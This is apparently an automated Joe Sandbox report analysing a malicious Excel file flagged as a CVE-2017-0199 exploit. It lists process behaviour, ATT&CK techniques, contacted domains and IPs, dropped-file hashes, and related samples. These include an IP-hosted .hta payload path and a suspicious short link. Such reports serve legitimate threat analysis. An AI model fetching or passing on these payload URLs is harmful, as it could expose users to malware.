Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: POETDB24-25771.xla.xlsx	Stream path 'MBD004FA1DD/Package' entropy: 7.99229250299 (max. 8.0)
Source: POETDB24-25771.xla.xlsx	Stream path 'Workbook' entropy: 7.99834254101 (max. 8.0)

Source: C:\Windows\splwow64.exe

Window / User API: threadDelayed 807

Jump to behavior

Source: C:\Windows\splwow64.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed

Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000			Jump to behavior
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000			Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process information queried: ProcessInformation

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	13 Exploitation for Client Execution	1 Scripting	1 Process Injection	2 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Process Injection	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
POETDB24-25771.xla.xlsx	25%	Virustotal		Browse
POETDB24-25771.xla.xlsx	21%	ReversingLabs	Document-Excel.Exploit.CVE-2017-0199

Source	Detection	Scanner	Label	Link
https://link.saja.market/Z8vBZkXtlw?&thing=omniscient&sweatshirt	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
s-0005.dual-s-msedge.net	52.123.128.14	true	false	high
service-eks-nlb-public-0b7cb0a32741e125.elb.ap-northeast-2.amazonaws.com	3.39.153.44	true	false	unknown
ltsr9a.msedge.net	40.90.65.44	true	false	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	high
otelrules.svc.static.microsoft	unknown	unknown	false	high
link.saja.market	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://otelrules.svc.static.microsoft/rules/excel.exe-Production-v19.bundle	false		high
https://link.saja.market/Z8vBZkXtlw?&thing=omniscient&sweatshirt	false	Avira URL Cloud: safe	unknown
https://otelrules.svc.static.microsoft/rules/rule120607v1s19.xml	false		high
https://otelrules.svc.static.microsoft/rules/rule120603v8s19.xml	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
198.23.187.151	unknown	United States	36352	AS-COLOCROSSINGUS	false
3.39.153.44	service-eks-nlb-public-0b7cb0a32741e125.elb.ap-northeast-2.amazonaws.com	United States	8987	AMAZONEXPANSIONGB	false
13.107.246.60	s-part-0032.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
40.90.65.44	ltsr9a.msedge.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1633349
Start date and time:	2025-03-10 09:24:38 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Without Instrumentation
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	POETDB24-25771.xla.xlsx
Detection:	MAL
Classification:	mal56.expl.winXLSX@6/4@3/4
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe, MavInject32.exe
Excluded IPs from analysis (whitelisted): 52.109.32.97, 23.60.203.209, 52.109.28.47, 199.232.210.172, 20.42.72.131, 20.42.73.26, 20.189.173.26, 52.123.128.14, 4.245.163.56, 40.126.32.140
Excluded domains from analysis (whitelisted): onedscolprdwus19.westus.cloudapp.azure.com, slscr.update.microsoft.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, eur.roaming1.live.com.akadns.net, mobile.events.data.microsoft.com, roaming.officeapps.live.com, dual-s-0005-office.config.skype.com, login.live.com, onedscolprdeus09.eastus.cloudapp.azure.com, officeclient.microsoft.com, ukw-azsc-config.officeapps.live.com, prod.fs.microsoft.com.akadns.net, c.pki.goog, wu-b-net.trafficmanager.net, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, prod.roaming1.live.com.akadns.net, osiprod-uks-buff-azsc-000.uksouth.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com, uks-azsc-000.roaming.officeapps.live.com, config.officeapps.live.com, e16604.f.akamaiedge.net, onedscolprdeus00.eastus.cloudapp.azure.co
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:26:48	API Interceptor	834x Sleep call for process: splwow64.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
198.23.187.151	Purchase Inquiry.xla.xlsx	Get hash	malicious	Unknown	Browse	198.23.187.151/xampp/emino/emi/seenbestthingsentiretimetogivemebest.hta
198.23.187.151	Purchase Inquiry.xla.xlsx	Get hash	malicious	Unknown	Browse	198.23.187.151/xampp/emino/emi/seenbestthingsentiretimetogivemebest.hta
3.39.153.44	Purchase Inquiry.xla.xlsx	Get hash	malicious	Unknown	Browse
13.107.246.60	https://protect-us.mimecast.com/s/wFHoCqxrAnt7V914iZaD1v	Get hash	malicious	Unknown	Browse	www.mimecast.com/Customers/Support/Contact-support/
13.107.246.60	http://wellsfargo.dealogic.com/clientportal/Conferences/Registration/Form/368?menuItemId=5	Get hash	malicious	Unknown	Browse	wellsfargo.dealogic.com/clientportal/Conferences/Registration/Form/368?menuItemId=5

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
service-eks-nlb-public-0b7cb0a32741e125.elb.ap-northeast-2.amazonaws.com	Purchase Inquiry.xla.xlsx	Get hash	malicious	Unknown	Browse	3.39.89.152
	Purchase Inquiry.xla.xlsx	Get hash	malicious	Unknown	Browse	3.39.153.44
s-part-0032.t-0009.t-msedge.net	f1215469392.dll	Get hash	malicious	Unknown	Browse	13.107.246.60
	f492136216_mpengine_dll	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://go.irt.calyx.ai/Live	Get hash	malicious	Unknown	Browse	13.107.246.60
	zabwpkovl0.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	EaseUS Partition Master (Repack & Portable) 16.0 UE.exe	Get hash	malicious	DCRat	Browse	13.107.246.60
	RFQ-JC25-#595837.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.60
	RFQ-JC25-#595837.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.60
	Play_Voicemail_Transcription._(387.KB).svg	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	AyciQgru1X.exe	Get hash	malicious	Remcos	Browse	13.107.246.60
	NEW ORDER (PO. 2100002 (BT-INC).xls	Get hash	malicious	Unknown	Browse	13.107.246.60
s-0005.dual-s-msedge.net	f1215469392.dll	Get hash	malicious	Unknown	Browse	52.123.129.14
	Purchase Order No 1417.doc	Get hash	malicious	Unknown	Browse	52.123.128.14
	Purchase Order No 1417.doc	Get hash	malicious	Unknown	Browse	52.123.129.14
	f492136216_mpengine_dll	Get hash	malicious	Unknown	Browse	52.123.128.14
	qVucZkUdbX.exe	Get hash	malicious	Nitrogen	Browse	52.123.129.14
	mal_temp.dotm.doc	Get hash	malicious	Unknown	Browse	52.123.129.14
	Dear david@corerecon.com - Your Stay Has Been Successfully Booked Ocean Breeze Retreat.msg	Get hash	malicious	ScreenConnect Tool	Browse	52.123.129.14
	RFQ-JC25-#595837.xlsx	Get hash	malicious	Unknown	Browse	52.123.128.14
	NEW ORDER (PO. 2100002 (BT-INC).xls	Get hash	malicious	Unknown	Browse	52.123.128.14
	New Order.xls	Get hash	malicious	Unknown	Browse	52.123.129.14
bg.microsoft.map.fastly.net	CO894GOV2O25.vbs	Get hash	malicious	Remcos, GuLoader	Browse	199.232.210.172
	DIR-A_JY4878249#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	199.232.214.172
	TNOR_CYCLE_C2_250000615284_32106010359796_E_BDA_0_E_20250310_192757#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	199.232.210.172
	cv(german-v).pdf	Get hash	malicious	Unknown	Browse	199.232.214.172
	RYvYMFbc37.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	199.232.210.172
	xwM9kaAoeY.bat	Get hash	malicious	Unknown	Browse	199.232.214.172
	6DRdNEnOMn.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.210.172
	fg.exe	Get hash	malicious	XWorm	Browse	199.232.214.172
	FUJFazcSyr.exe	Get hash	malicious	AsyncRAT, DarkTortilla, XWorm	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-COLOCROSSINGUS	Purchase Inquiry.xla.xlsx	Get hash	malicious	Unknown	Browse	198.23.187.151
	Purchase Inquiry.xla.xlsx	Get hash	malicious	Unknown	Browse	198.23.187.151
	apep.x86.elf	Get hash	malicious	Unknown	Browse	104.168.61.9
	SecuriteInfo.com.Trojan.Siggen30.32904.13677.12750.exe	Get hash	malicious	Unknown	Browse	104.168.28.10
	niceworkingskillwthichbetterperformancefromme.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	172.245.123.17
	nicegirlwanttokissingmylipswithnicely.hta	Get hash	malicious	Remcos	Browse	198.46.178.132
	dxRwXy19pq.exe	Get hash	malicious	Socks5Systemz	Browse	104.168.28.10
	UpdatedStatementSheet_InvoicesPaid_PaymentAdviceFPJUSHNRVB.html	Get hash	malicious	Unknown	Browse	104.168.69.110
MICROSOFT-CORP-MSN-AS-BLOCKUS	Purchase Inquiry.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.253.42
	f1215469392.dll	Get hash	malicious	Unknown	Browse	204.79.197.203
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	13.64.110.51
	Purchase Inquiry.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.253.72
	https://t.co/mY98iSAcuv	Get hash	malicious	Unknown	Browse	40.114.178.124
	f492136216_mpengine_dll	Get hash	malicious	Unknown	Browse	204.79.197.203
	https://go.irt.calyx.ai/Live	Get hash	malicious	Unknown	Browse	13.107.246.60
	https://dsl.mycomputer2000.com/zzzz/23RDJANUARY%20OVERDUE.INV.PDF.7z	Get hash	malicious	Unknown	Browse	104.40.67.196
AMAZONEXPANSIONGB	Purchase Inquiry.xla.xlsx	Get hash	malicious	Unknown	Browse	3.39.89.152
	Purchase Inquiry.xla.xlsx	Get hash	malicious	Unknown	Browse	3.39.153.44
	3CXHt817IG.exe	Get hash	malicious	FormBook	Browse	3.33.130.190
	https://www.vecteezy.com/photo/37980743-defocused-blurred-image-of-inside-pharmacy-store-for-abstract-background	Get hash	malicious	Unknown	Browse	52.223.40.198
	niceworkingskillwthichbetterperformancefromme.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	3.33.130.190
	https://gumbys.com	Get hash	malicious	Unknown	Browse	52.223.40.198
	5IbkCQPDbQ.exe	Get hash	malicious	FormBook	Browse	3.33.130.190
	mfIKZpIL0X.exe	Get hash	malicious	FormBook	Browse	3.33.130.190

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
6271f898ce5be7dd52b0fc260d0662b3	Purchase Inquiry.xla.xlsx	Get hash	malicious	Unknown	Browse	3.39.153.44
	https://t.co/mY98iSAcuv	Get hash	malicious	Unknown	Browse	3.39.153.44
	NEW ORDER (PO. 2100002 (BT-INC).xls	Get hash	malicious	Unknown	Browse	3.39.153.44
	New Order.xls	Get hash	malicious	Unknown	Browse	3.39.153.44
	Purchase Order.xla.xlsx	Get hash	malicious	Unknown	Browse	3.39.153.44
	Purchase Order.xla.xlsx	Get hash	malicious	Unknown	Browse	3.39.153.44
	Doc9078786968795776764567.xla.xlsx	Get hash	malicious	Unknown	Browse	3.39.153.44
	NEW ORDER (PO. 2100002 (BT-INC).xls	Get hash	malicious	Unknown	Browse	3.39.153.44
	New Order.xls	Get hash	malicious	Unknown	Browse	3.39.153.44
a0e9f5d64349fb13191bc781f81f42e1	Purchase Inquiry.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.60 40.90.65.44
	EasyWay.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.60 40.90.65.44
	Aura.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.60 40.90.65.44
	EasyWay.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.60 40.90.65.44
	Aura.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.60 40.90.65.44
	SecuriteInfo.com.Trojan.PWS.Lumma.1819.11767.23234.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.60 40.90.65.44
	SecuriteInfo.com.Trojan.PWS.Lumma.1819.32341.28310.exe	Get hash	malicious	LummaC Stealer, RHADAMANTHYS	Browse	13.107.246.60 40.90.65.44
	HjBGqnNSh1.exe	Get hash	malicious	Unknown	Browse	13.107.246.60 40.90.65.44
	BTn1AT2k3Y.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.60 40.90.65.44

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\Users\user\AppData\Local\Temp\E6D2F9C4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	794
Entropy (8bit):	2.7142819241824805
Encrypted:	false
SSDEEP:	24:YIrNvpKAzLtwcfHGF8AJp9WtAZRJ5poIHWI:YmbfzLSc88AJtfJ52IHV
MD5:	BD9E767E74B38030B097E6FED6464EB5
SHA1:	03D9E758B4DB2B6E922BBBDE189C210AF676C648
SHA-256:	4FCDC40B7579E1C625A21D9BD14B898D8854FE812BF76BB31D077E39E2FAF6B2
SHA-512:	61FE087E54A696C70F69827B2136E8E34380F99FE5EFFB38392CF33C26D421B5ECF2A19EE041BD0BEC944412CCC6E8912DEFFBE15A0B77A20184F31BB6C794A5
Malicious:	false
Reputation:	low
Preview:	3.7.4.6.3.7.6.,.1.1.9.6.3.7.8.,.1.7.8.8.6.5.8.,.2.5.5.0.5.0.8.8.,.1.2.5.,.1.1.9.,.3.0.0.4.9.2.6.8.,.;.3.2.9.4.5.8.7.9.9.,.3.7.4.6.3.7.8.,.6.3.6.4.3.3.4.,.3.0.1.5.3.7.2.1.,.2.3.7.1.6.5.1.,.1.0.0.1.,.6.5.4.0.2.1.5.,.2.4.6.0.9.2.5.8.,.4.0.6.9.3.5.8.2.,.1.0.4.9.5.2.3.4.,.6.3.6.4.3.1.8.,.3.0.1.2.3.4.6.6.,.2.7.1.5.3.4.9.7.,.6.3.7.1.6.9.4.,.5.9.2.2.3.4.2.3.,.5.7.9.9.9.6.6.1.,.1.5.6.1.9.5.8.,.6.3.0.6.3.0.9.9.,.2.7.3.6.0.0.9.5.,.5.8.4.2.5.8.6.0.,.6.3.6.4.3.3.7.,.6.1.7.0.7.3.0.7.,.6.3.6.4.3.3.0.,.6.3.6.4.3.3.1.,.6.7.4.8.3.9.6.1.4.,.3.3.7.9.1.6.2.,.4.7.3.8.2.9.4.8.,.1.6.5.7.4.5.3.,.1.0.6.9.5.5.2.,.1.6.5.7.4.5.2.,.5.2.9.1.0.0.0.0.,.1.3.5.2.5.8.6.,.1.3.5.2.5.8.7.,.1.7.7.1.6.5.7.,.1.0.2.3.8.6.4.,.1.0.2.3.6.3.8.,.6.3.7.1.6.9.5.,.4.8.1.9.5.5.3.8.,.1.4.6.1.9.5.3.,.6.3.6.4.3.3.2.,.3.2.0.5.9.2.7.6.7.,.

C:\Users\user\AppData\Local\Temp\~DF05120D040C657F14.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Reputation:	high, very likely benign file
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$POETDB24-25771.xla.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.7769794087092887
Encrypted:	false
SSDEEP:	3:iXKG/4N+RMlW8td:iXlMlW8/
MD5:	37BD8218D560948827D3B948CAFA579C
SHA1:	24347FB0A66F2DA8AD3BAB818E3C24977104E5DA
SHA-256:	189E2D5600E0CC41F498D2EB22FA451F81746DCDBAA3EC1146A22C3A74452DA6
SHA-512:	A34D703FEBFD9E45A57BF047D9CCF890482B0F7CD3788F9BFD89DECA13B96DD4F43BDB0C4D81CC716DEAC37BCD1C393A7BCB159B471B5721B367E4884B17C699
Malicious:	true
Preview:	.user ..f.r.o.n.t.d.e.s.k. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Mon Mar 10 05:35:35 2025, Security: 1
Entropy (8bit):	7.979014653469718
TrID:	Microsoft Excel sheet (30009/1) 47.99% Microsoft Excel sheet (alternate) (24509/1) 39.20% Generic OLE2 / Multistream Compound File (8008/1) 12.81%
File name:	POETDB24-25771.xla.xlsx
File size:	1'193'984 bytes
MD5:	70ff76bdbb7897e2c3731021351facd3
SHA1:	107545e7202e995328364052a96083e743881acc
SHA256:	faf027205ff3109e74b13910c005ddb30148d1c9bb71f4d8739949d04a6be27d
SHA512:	1251a225e7d65fbd62efdb086d636c533f5b2cbd767d6bd54911b45d2b6c44d4e78e96ac4caa0d54f6273a56217c5c529ce001021c2afeafd20149ece282fa0c
SSDEEP:	24576:nJIwgRIb3nOXYXKFlQB0Nu/qhChhPCwTobQQN:nzgO7O7Fl2OrhCH6D
TLSH:	604523E4FD98BB06DF0702365B4ED46E481BBF1E2291800B763037AE1A37E6D44F6526
File Content Preview:	........................>...............................................................................................................{.......}..............................................................................................................

File Icon


Icon Hash:	35e58a8c0c8a85b9

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "POETDB24-25771.xla.xlsx"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Summary

Code Page:	1252
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2025-03-10 05:35:35
Creating Application:	Microsoft Excel
Security:	1

Document Summary

Document Code Page:	1252
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	786432

Streams with VBA

VBA File Name: Sheet1.cls, Stream Size: 977

General
Stream Path:	_VBA_PROJECT_CUR/VBA/Sheet1
VBA File Name:	Sheet1.cls
Stream Size:	977
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . E B . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
